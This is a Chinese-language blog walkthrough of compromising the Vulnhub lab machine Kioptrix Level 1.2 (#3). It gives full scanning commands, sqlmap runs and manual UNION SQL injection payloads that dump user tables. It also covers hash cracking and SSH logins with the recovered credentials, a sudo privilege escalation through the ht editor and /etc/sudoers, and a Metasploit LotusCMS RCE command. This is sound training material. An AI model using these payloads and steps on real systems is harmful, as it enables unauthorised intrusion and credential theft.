- Java锁的逻辑(结合对象头和ObjectMonitor)
- 还在用饼状图?来瞧瞧这些炫酷的百分比可视化新图形(附代码实现)⛵
- 自动注册实体类到EntityFrameworkCore上下文,并适配ABP及ABPVNext
- 基于Sklearn机器学习代码实战
🔥系列专栏:Vulnhub靶机渗透系列 🔥欢迎大佬:👍点赞⭐️收藏➕关注 🔥首发时间: 2023年8月22日 🌴如有错误 还望告知 万分感谢 。
KIOPTRIX:LEVEL1.2(#3),vulnhub平台下简单难度靶机。本文并非复现writeup关键在于打靶思路,主要是从web层面入手。本文采用了比较常规的一种方法:通过SQL注入获取用户凭据,ssh登陆靶机进行sudo提权,文中手动注入和SQLmap自动化均有呈现,后续也尝试了框架漏洞的利用的尝试。这台靶机存在漏洞较多,需要根据自身经验做出筛选、权衡与比对,是对综合知识和技能的考察,攻击链很标准,获取shell的方法可以逐一尝,是一台锻炼攻击思路的好靶机.
kioptrix靶机图片无法加载,修改hosts文件 192.168.80.178 kioptrix3.com。或 burp 中自定义域名解析 。
名称 | 说明 |
---|---|
靶机下载链接 | https://www.vulnhub.com/entry/kioptrix-level-12-3,24/ |
作者 | Kioptrix |
发布日期 | Apr 2011 |
难度 | easy |
攻击机(kali) | ip:192.168.80.148 |
靶机(CentOS) | ip:192.168.80.178 |
nmap 192.168.80.0/24 -sn --min-rate 1000
nmap 192.168.80.178 -sT -p- --min-rate 1000 -oA nmap_result/port_scan
nmap 192.168.80.178 -sU --top-ports -oA nmap_resule/portudp_scan
nmap 192.168.80.178 -p $port -sT -sV -O -sC -oA nmap_result/server_info
nmap 192.168.80.178 -p $port --script=vuln -oA nmap_result/vuln_info
port=$(grep open nmap_result/port_scan.nmap|grep open|awk -F '/' '{print $1}'|paste -sd ',')
开放端口:tcp 22,80 可能存在sql注入和CSRF 。
22/tcp open ssh OpenSSH 4.7p1 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 。
dirsearch -u "http://kioptrix3.com/" --ip=192.168.80.178 --full-url -o /home/wsec/kioptrix3/dirsearch_info
gobuster dir -u http://192.168.80.178 -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -o gobuster_info
/modules/backup 存在备份文件 /phpmyadmin 进入phpmyadmin管理界面,出现phpmyadmin版本信息,后续可尝试相关利用 。
whatweb 进行网站指纹识别网站探测是否由cms搭建 。
whatweb "http://192.168.80.141/"
探测到网站首页使用 LotusCMS ,但版本未知。后续可在漏洞库查有无对应框架漏洞可以利用.
dirsearch目录扫描结果放到 burp NewScaner,配置爬虫深度为0 。
cat dirsearch_info | grep -v 403 |grep -v 401| awk -F ' ' '{print $3}'
//所有站点都扫描太慢了,提取了2个关键目标,目标少也可以直接在burp中repeater中请求
http://kioptrix3.com:80/gallery
http://kioptrix3.com:80/index.php
/gallery/gadmin/index.php (LotusCms后台登录页) 。
<1>评论功能(POST。可能存在XSS) 。
http://kioptrix3.com/index.php?system=Blog&post=1281005380 。
<2>登录功能(POST。尝试简单使用注释绕过但失败,还应测试是否存在弱口令) 。
http://kioptrix3.com/index.php?system=Admin 。
<3>图片排序功能(GET。可能存在SQL注入,优先考虑) 。
http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos 。
<1>整理可能存在SQL注入的测试点。 <2>sqlmap获取注入点。在测试第一个url就获取到了注入点。 <3>针对存在注入点的url,依次查询查询(库、表、表内容) 。
//SQL_GET.txt
http://192.168.80.178/gallery/gallery.php?id=1*&sort=views*
http://192.168.80.178/gallery/photos.php?id=3&sort=viwes*
http://192.168.80.178/index.php?system=Blog&archive=2010-8*
http://192.168.80.178/index.php?system=Blog&category=0*
http://192.168.80.178/index.php?system=Blog&post=1281005382*
sqlmap -m SQL_GET.txt -v3 --technique=BEU --batch
sqlmap -u http://192.168.80.178/gallery/gallery.php?id=1* --dbs --batch
sqlmap -u http://192.168.80.178/gallery/gallery.php\?id\=1* -D gallery --tables --batch
sqlmap -u http://192.168.80.178/gallery/gallery.php?id=1* -D gallery -T gallarific_users --dump-all
john sql_hash --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt
从gallarific_users表 获取到以下用户凭证信息:admin/n0t7t1k4 从dev_accounts表 获取到以下用户凭证信息(密码也可以cmd5网上解密):dreg/Mast3r,loneferret/starwars 。
ssh -oHostKeyAlgorithms=+ssh-dss dreg@192.168.80.178
ssh -oHostKeyAlgorithms=+ssh-dss loneferret@192.168.80.178
用获取到的两个凭证尝试进行ssh登录,结果成功获取普通用户权限shell.
ssh登录loneferret用户,查找SUID可执行文件,发现 ht编辑器 。 sudo -l 发现该编辑器被分配root权限。如果编辑/etc/sudoers,权限添加/bin/bash,可以直接拿root的shell了.
ssh -oHostKeyAlgorithms=+ssh-dss loneferret@192.168.80.141
find / -perm -u=s -type f 2>/dev/null
sudo -l
sudo /usr/local/bin/ht
//报错Error opening terminal: xterm-256color.则 export TERM=xterm
//ht编辑器修改/etc/sudoers
sudo /bin/bash
拿到root权限 。
SQL注入测试点: http://192.168.80.141/gallery/gallery.php?id=1&sort=filename 。
<1> 单引号,双引号.
?id=1' (报错:syntax to use near '' order by parentid,sort,name' at line 1)
?id=1" (报错:syntax to use near '" order by parentid,sort,name' at line 1)
得出结论:参数id后面的代码是order by parentid,sort,name。
<2>尝试构建使得不报错.
#注释掉order by parentid,sort,name。
?id=1' #(报错)
?id=1 #(不报错)
得出结论:大概率是个整型注入
<3>判断能否恶意修改.
?id=1' and 1=1#
?id=1 and 1=1#
得出结论:sql语句能被恶意修改带入数据库执行
<4> 枚举,判断数据库查了几列数据用于后面union拿数据.
?id=666 union select 11,22,33,44,55,66 #
?id=666 union select 11,database(),user(),44,55,66 #
(回显结果:database()为gallery,user()为root@localhost) 。
<5>查库 。
http://kioptrix3.com/gallery/gallery.php?id=666 union select 11,22,group_concat(schema_name),44,55,66 from information_schema.schemata#
(回显结果:information_schema,gallery,mysql) 。
<6>查表 。
?id=666 union select 11,22,group_concat(TABLE_NAME),44,55,66 from information_schema.TABLES where TABLE_SCHEMA=database()#
(回显结果:dev_accounts,gallarific_comments,gallarific_galleries,gallarific_photos,gallarific_settings,gallarific_stats,gallarific_users) 。
<7>查gallarific_users表的字段 。
?id=666 union select 11,22,group_concat(column_name),44,55,66 from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='gallarific_users' #
(回显结果:userid,username,password,usertype,firstname,lastname,email,datejoined,website,issuperuser,photo,joincode) 。
<8>查内容 。
?id=666 union select 11,username,password,44,55,66 from gallery.gallarific_users#
?id=666 union select 11,22,group_concat(concat_ws(':',username,password)) ,44,55,66 from gallery.gallarific_users#
?id=666 union select 11,22,group_concat(concat_ws(':',username,password)) ,44,55,66 from gallery.dev_accounts#
回显结果 admin:n0t7t1k4,结果只有一个应该就是网站登录后台的账号密码 。
从gallarific_users表 获取到以下用户凭证信息: admin/n0t7t1k4 从dev_accounts表 获取到以下用户凭证信息(密码hash解密): dreg/Mast3r , loneferret/starwars 。
LotusCMS 3.0 - 'eval()' Remote Command Execution (Metasploit) :eval()函数RCE远程命令执行,需在msf中使用。要重新设置默认 uri 和 payload 。
msfconsole -q -x 'use exploit/multi/http/lcms_php_exec;set uri /index.php?page=index;set rhost 192.168.80.178;set payload php/bind_perl;run'
成功拿到www-data权限。可以尝试收集系统信息内核提权.
此外,也可以不使用MSF框架下的利用,github上找到 lotusRCE.sh , 。
./lotusRCE.sh http://192.168.80.178
成功拿到www-data权限 。
可查看数据库配置文件(记录了用户名和密码),可以从这点切入到数据库,搞到两个密码的hash,john破解拿用户凭据 。
http://192.168.80.141/phpmyadmin,得知版本为 phpMyAdmin 2.11.3deb1ubuntu1.3,没找到可利用的非XSS的 。
后来发现图片管理页面使用的另一套cms,存在sqli。 EXP要稍作修改,网站中数据库查的是6列数据,具体过程可参考文中的手工注入测试.
whatweb http://192.168.80.177/gallery/
//payload
http://kioptrix3.com/gallery/gallery.php?id=1 and 1=2 union select 1,group_concat(userid,0x3a,username,0x3a,password),3,4,5,6 from gallarific_users--
http://192.168.80.141/gallery/gadmin/index.php 。
存在文件上传功能,上传后的图片可到前端页面查看。 尝试上传图片马,文件名和后缀名会被重命名,很难被利用(上传正常图片也无法正常显示).
只开放2个tcp端口,大概率是web渗透,考量应以SQLi、RCE等高危漏洞为首要突破点.
80端口(http):
两个用户凭据
。ssh登录成功, 获得初步立足点
。 LotusCMS
RCE漏洞成功获得反弹shell, 再次获得立足点
,可以看到网站数据库配置文件。 CMS(Gallarific)
,存在sqli,尝试利用成功拿到两个ssh登录凭据。 提权阶段。SSH登录后发现loneferret用户具有sudo /usr/local/bin/ht的权限 。
ht编辑器
编辑 /etc/sudoers
/bin/bash
权限,让该用户能sudo执行/bin/bash 成功拿到root的shell
loneferret ALL=(ALL)NOPASSWD:ALL
,也可以通过直接修改/etc/passwd中root的密码等方法 最后,靶机不难但也要做出思考:
burp 自带 js 分析功能,访问各个页面,可以整理出目标站点信息.
在进行提权时应该先广度优先,通过各种方式切入进系统,不同的账户可能拥有不同的敏感信息.
在 searchspoit 未发现特别好的漏洞利用脚本时,可以去github再进行搜索 。
拿到了初始shell,尝试提权时。可以先用python映射一个端口增加交互性: python -c "import pty;pty.spawn('/bin/bash')" 。
参考wp: Hack the Kioptrix Level-1.2 (Boot2Root Challenge) 。
本文部分图文来源于网络,仅作学术分享,实验环境是本地搭建的靶机,目的在于维护网络安全,不做任何导向。如果非法使用,一切法律后果自行承担.
最后此篇关于0×03Vulnhub靶机渗透总结之KIOPTRIX:LEVEL1.2(#3)SQL注入+sudo提权的文章就讲到这里了,如果你想了解更多关于0×03Vulnhub靶机渗透总结之KIOPTRIX:LEVEL1.2(#3)SQL注入+sudo提权的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
我是一名优秀的程序员,十分优秀!